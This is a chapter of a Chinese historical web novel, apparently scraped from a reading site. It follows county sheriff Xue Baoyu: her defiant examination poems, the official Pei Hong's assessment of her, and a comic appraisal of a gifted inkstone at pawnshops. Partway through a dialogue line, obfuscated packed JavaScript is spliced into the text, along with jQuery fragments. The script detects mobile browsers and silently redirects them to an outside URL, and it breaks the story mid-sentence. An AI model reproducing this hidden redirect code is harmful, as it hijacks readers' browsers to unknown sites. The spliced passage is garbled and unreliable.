默认冷灰
24号文字
方正启体

11. 第 11 章

作者:夜雪湖山本书字数:K更新时间:
    自隋炀帝于大业元年始建进士科,历二百余年,科举之制日臻繁盛,本朝除进士科外,更设明经、三史、开元礼、明法、明算等科。


    各科之中,尤以进士和明经两科为重,二者之间又特重进士。


    明经及第者,一般需守选七年方可授官,进士则只需三年,授官之职亦远胜前者。


    正因如此,许多人舍明经而求进士,为此一考就是十几年、几十年,更有甚者为之老于科场。所谓“三十老明经,五十少进士”,正谓进士之难于明经者也。


    薛抱玉十八岁进士及第,担得起一句出类拔萃;十九岁应吏部科目选,再登博学宏词科,那便真称得上是人中龙凤了。


    与礼部主持的科举不同,吏部科目选多采糊名试法,难度亦远在科举之上,登科者无需守选,立即授官。


    历来应此试者颇多才子,如元微之、白乐天,双双以书判拔萃擢第,柳河东以博学宏词擢第,韩昌黎则三试而不中。


    依照惯例,以薛抱玉的科名,若留在朝廷,则应授秘书省正字或校书郎,若外放地方,则应任赤、畿县尉或雄、望州之参军。


    再不济,也该是上县县令,无论如何也不该到丰海这样的下县,出任最末流的县尉。


    由历中倒是给出了两条冠冕堂皇的理由:一是年岁过轻,不宜为一县之长,故授以少府;第二条则谓其面貌阴柔,不合“身言书判”四项中“体貌丰伟”的要求,故此分配至下县。


    裴弘久历宦海,自然清楚这些都是托辞,背后一定另有原因。


    严行懿道:“主公明鉴,此事的确另有缘故,说起来还与薛县尉的两首诗有关。”


    裴弘眉目微扬,显是来了兴味。


    “这第一首诗题为《观放榜》,据说是在礼部放榜时当场吟就,诗是这样写的:


    朱门榜上墨痕腥,子弟金鞍压玉衡。


    十载蠹鱼吞墨死,一朝秕糠胜珠明。


    空悬贾策惜太傅,抱恨卞和泣连城。


    欲剪青云补天漏,姑将白眼照青蝇。”


    末尾青云补天之语,指的自然是后一年再应吏部科目选之事,却不知压了玉衡的金鞍归于哪家子弟。


    严行懿早在裴弘吩咐取由历时就已着手打探此事,以备府主不时询问,当下便将前因后果娓娓道来。


    原来薛抱玉的同年之中有一品子,此人复姓令狐,单名一个壮字,其父乃是京兆尹令狐茂才。


    这令狐壮才气之平庸,大抵在众同年中是出了名的,本是落第之选,一朝放榜竟榜上有名,举子们莫不议论。好巧不巧,排名正在薛抱玉之前,因便有了那首直抒胸臆的《观放榜》。


    因观榜人数众多,这诗又是当场高声吟就,引得许多知情者大声叫好、不知情者彼此询问,一时闹出了颇大的动静。京兆尹令狐茂才,以及当年主持科举的知贡举人皇甫钧等自是恼恨不已。


    裴弘听到此处,不禁变色道:“既为品子,本已有仕宦之路,但为虚名故,仍要侵夺寒俊之路,令狐茂才养的好儿孙!”


    科举至今已蔚然成风,以至于官场之人寒暄必问科年等第,虽位极人臣,不由进士者,终为不美。品子、品孙虽不必科考,为求才名,莫不趋之若鹜。


    正因如此,裴弘一贯主张区分门第,寒贵分流,禁止品子品孙科考。因有心人着意歪曲,他反倒成了士子中口耳相传的恶人。


    严行懿想到此处也不由叹道:“世上有几人更似明公!”


    裴弘哼了一声,“皇甫钧前一年知贡举,次年即擢吏部侍郎,薛抱玉正是在这一年应吏部科目试,难怪会被发配到丰海为尉。”


    “正是如此。”严行懿颔首,“因是糊名试,皇甫钧也是后来才知登第者姓甚名谁,两厢谋面,他也有些尴尬,便以《宏词登科后作》为题,要薛抱玉效仿曹子建故事七步成诗,大抵是想给薛抱玉一个机会,也给自己一个台阶下。


    这第二首诗就是这么作出来的。诗云:


    紫陌重开翰墨场,青衿再试九回肠。


    君栽桃李三千树,我有清风一袖飏。


    风拂曲江新柳色,艳阳偏许旧枝光。


    莫讶蟾宫折桂手,云路从来属文章。”


    “好个薛元真啊!”裴弘也不由莞尔,“皇甫钧恐怕是要被当场气昏过去了!”


    严行懿笑道:“不错,皇甫侍郎的确气得发疯,偏又不得不顾忌着身份,不能当场发作,只好事后耍些阴谋诡计,在授官上做文章了。”


    出了气,却也差点断送了自己的仕途,这便是越级上报的薛县尉。


    一想到那年轻人如今的模样,竟然已经是受过一次大挫折之后有意收敛的结果了,裴弘就忍不住笑容浮面,摇头道:“历险难而不改其心,也算难得。”


    “既如此,可要给他加些担子?”严行懿旧话重提。


    “的确是年轻气盛,璞玉待琢。”


    “那么郑业……”


    “且留他做把磨玉刀,”裴弘敛了笑意,语气沉缓道,“枉他食粟多年,发落之前,好歹物尽其用罢。”


    ·


    自润州通往杭州的官道两侧夹植桑树,因是深秋时节,树上的桑果已所剩无几,路上倒是还有些零星的遗存,不过需要伸长了吻部,在堆积的落叶底下耐心翻找。


    薛太白有的是耐心,就这么一步一停地走着,小嘴吃得血红。抱玉也不催它,脑袋里还在一遍又一遍地回味使府中发生的一切。


    严判官实是令人印象深刻:官高位显,却又礼贤下士,言谈举止风度翩翩,令人如沐春风。抱玉不仅得他亲迎亲送,临走前还被留在使府的食堂用了一餐饱饭,并赠送了沿途官驿的转牒,就连薛太白也得了一顿上好的饲料。


    “周到,太周到了!”抱玉心想,自己的境界与严君之间还差了好几千个郑业,还要继续修炼才行。


    再就是裴弘,这人似乎与传闻中的不大一样,至少不似人们说的那般如妖似魔。只是心思也太难猜了些,完全看不出他是喜是怒,是在与你玩笑还是严肃诘问。


    这么一想,抱玉就更佩服严行懿了。


    若换做严判官,今日必定不会主动提及庸调之事,而是会另择一个合适的时机,她到底是失之急躁了。


    周泰骑着一头大青骡随行在侧,见她神情时喜时忧,出言宽慰道:“自来都是位卑者奉送见面之礼,裴观察却反其道而行之,这砚台一看就价值不菲,足可见大使对少府有多器重。”


    一提到砚台,抱玉便也欣欣然了,嗔怪道:“什么话!物件只在其次,使君的心意才是千金不换,某当奋发图强,再接再厉,以报使君厚意!”


    周泰腹诽:你已经足够奋发了。


    嘴上却笑道:“少府说得是。”


    一语未落,却见抱玉忽然勒住了缰绳,接着便喝令薛太白掉头,一夹马腹,竟是重新朝着润州城的方向而去了。


    周泰愣神过后赶紧追赶,“少府去哪里?等等卑职!”


    薛太白在一家打着“骆氏僦柜”招幌的店肆前头停住四蹄,抱玉翻身下马,将砚台往周泰手里一塞,低声道:“你先进去。”


    周泰惊讶至极时,眉飞头顶,两眼圆如绿豆。


    僦柜的掌柜将砚接过来,端详了几眼便扔回给他,“非洮非端非歙,造型还算别致,雕工尚可,”伸出一只手掌,“五贯。”


    五贯就是五千钱,以一方砚台而论,足算是贵价了。


    可周泰以为,以裴弘的身份和家世,五贯肯定是低了。当下便一声不吭,包起砚台转身就走。


    “哎你等等!”掌柜的急忙将他叫住,埋怨道:“客官可真是个急性子,你说多少,开个价!”?


    周泰哼了一声,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040785|162516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “低于五十贯免谈!”


    那掌柜的闻言便笑了,“就是金砚、银砚也没有这个价,最多三十贯。”


    周泰暗暗吃惊:竟这么贵?这店家先前只出价五贯,当真黑心。


    “不行,说五十就五十,少一文都不行。”


    “三十五!”


    “四十五!”


    “……”


    二人正讨价还价,忽有一青袍美少年从外而入,径自走向周泰,叉手笑道:“处士当真愿以五十贯出此古物?”


    “你这郎君好不讲道理,做买卖也要讲个先来后到才是!”不待周泰答话,那掌柜的已抢先道。


    周泰却不顾他的先来后到,转头与青袍少年攀谈起来。


    “五十就五十!”掌柜的心里一急,竟同意了五十贯之数,又斜着少年道:“做生意不能只看价钱,还要看对方是否牢靠。小店就开在此处,先生若是将来后悔,也有再将爱物赎回去的一日,若是随随便便卖给了不相干的人,就是后悔也没办法了!”


    少年闻言倨傲一笑,“处士若以五十贯卖出,回赎时恐怕要出一百贯,不若以八十贯卖与在下。”


    ……


    这少年不断往上加价,掌柜的嘴便越来越松,最后竟加到了一百五十贯,咬牙道:“最多这个数,再多,小店奉陪不起!”


    “某出一百五十贯零一文。”青袍少年笑嘻嘻道,嘴里露出两颗尖尖的虎牙,一脸无赖相。


    “你成心的吧!”掌柜怒火上窜,挽起袖子就从柜后走了出来。


    却听那砚主人忽然在这时嚷道:“此乃我家祖传之物,少于一千贯,想都别想!”说罢抬腿就走,那少年抿着嘴偷笑,一溜烟地追了出去。


    掌柜的呆愣原地,好半天才醒悟过来:自己被两个吃饱了撑的闲人给耍了!火冒三丈追将出去,街上哪还有两人的影子?唯余一滩紫红的马粪,静静躺在门口。


    抱玉与周泰故技重施,接连进了四家僦柜,最终试出一个结论:这砚台至少也是个汉代物件,大抵能卖上五百贯钱。


    “五百贯啊,不吃不喝也要攒上两年多呢!”若对方不是裴弘,抱玉真要怀疑他想贿赂自己了。


    五百贯钱缠在腰上,走起路来该是什么响动?恐怕是地动山摇!抱玉喜孜孜地继续想着,耳畔似乎已经听到那悦耳的哗啦声,眼前仿佛已经出现了一条康庄大路。


    她嘴角勾如弯月,两眼亮如太白星,周泰看在眼里、怕在心中——真怕她一时冲动,将使君赠送之物给卖了!


    直到两人再次踏上回返的官道,周泰这才确定,她只是想问问价钱,并没有卖出去的意思,暗暗松了一口气。


    ·


    抱玉从颜判官身上得到启发,给里正们带了产自成都的冰糖块,也给西厅诸人带了几包润州马鞍饧。


    各人皆大欢喜,围着那尊汉代十二峰古陶砚左看右看,少不得说些溢美之词。


    薛少府意气风发,心里虽美,仍极力克制着情绪,连声道:


    “哪里哪里!”


    “惭愧惭愧!”


    “欸!勿作轻浮之语,但勤勉恪职,为分内事尔!”


    ……


    在郑业看来,薛县尉的分内事应该是一到县衙立刻到自己面前禀明情况。


    然,正因为情况有待禀明,薛县尉拖拖沓沓不过来,他一时也不敢发作,只能按捺住心头火气,暂且忍着。


    佐史奉命去西厅打探,郑业觍着肚子,在二堂焦躁地踱来踱去。过了一会儿,那佐史终于小跑着回来,一进来便气喘吁吁道:


    “明府宽心,卑职看得清清楚楚,那砚台灰不溜秋,且质地极为粗糙,形状也甚是奇怪,似是雕刻成了十二根手指的模样……总之是十分丑陋,一看就是便宜货色。想必是哪个田舍儿孝敬给裴大使之物,大使嫌弃,随手打发给薛县尉而已!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)